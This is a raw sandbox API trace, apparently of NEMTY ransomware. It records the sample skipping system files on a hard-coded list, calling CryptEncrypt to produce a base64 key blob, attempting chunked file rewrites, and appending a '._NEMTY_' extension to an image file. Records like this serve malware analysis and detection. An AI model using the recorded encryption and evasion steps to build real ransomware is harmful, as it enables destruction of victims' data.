lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Half.png", lpUsedDefaultChar=0x0) returned 20 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Star_Half.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Star_Half.png", lpUsedDefaultChar=0x0) returned 20 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0132.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0132.715] Sleep (dwMilliseconds=0x5) [0132.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c17730, dwHighDateTime=0x1d561e8)) [0132.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c17730, dwHighDateTime=0x1d561e8)) [0132.723] GetLastError () returned 0x5 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.723] GetLastError () returned 0x5 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.723] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.723] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.723] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0132.723] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="AdnibsJV6+iw6EL57TFuuw9tkP30GOSisf+xS+r0O+AApROcNLIJ0ouG8eM1nM51\r\nDk0waJoNFu8ZARPaiMnEDVNrW+F8iZZkGzS2/WIG13WEME0dWhJ1nbC1EOckKCgD\r\n2y1/6XiGQ7Iw4jj8/c/QYCJa5EQ1TXd/ArWfAHa14fICh9nkvfMXSoNQ4uBOZJVS\r\nG+j0IJn1jN9olkWZrvfTdGL85jyAXuNh1H0U/r7mZtfUGD8be8e4shcRaogBlHCd\r\nC5is35AQs5jRJcJePMTPWvNgMjY1kPvE4tYH9/a0pTnCKE464gyj5tW4QQy3niZs\r\nCZW4dD06lPfp/+BChsmpCA==\r\n", pcchString=0x653e91c) returned 1 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0132.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.723] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.723] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.837] CloseHandle (hObject=0xffffffff) returned 0 [0132.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0132.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0132.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0132.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0132.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403e0 [0132.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404a8 [0132.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0132.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0132.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png._nemty_kgobjgd_")) returned 0 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.838] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12f9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Waitcursor.gif", cAlternateFileName="")) returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2=".") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="..") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="...") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="windows") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="$RECYCLE.BIN") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="rsa") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="NTDETECT.COM") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="ntldr") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="MSDOS.SYS") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="IO.SYS") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="boot.ini") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="boot.ini") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="AUTOEXEC.BAT") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="ntuser.dat") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="desktop.ini") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="CONFIG.SYS") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="RECYCLER") returned -1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="BOOTSECT.BAK") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="bootmgr") returned 1 [0132.838] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="programdata") returned -1 [0132.839] lstrcmpiW (lpString1="Gadget_Waitcursor.gif", lpString2="appdata") returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Waitcursor.gif", lpUsedDefaultChar=0x0) returned 21 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Waitcursor.gif", lpUsedDefaultChar=0x0) returned 21 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Waitcursor.gif", lpUsedDefaultChar=0x0) returned 21 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Waitcursor.gif", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Waitcursor.gif", lpUsedDefaultChar=0x0) returned 21 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0132.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0132.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0132.839] Sleep (dwMilliseconds=0x5) [0132.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d48230, dwHighDateTime=0x1d561e8)) [0132.847] 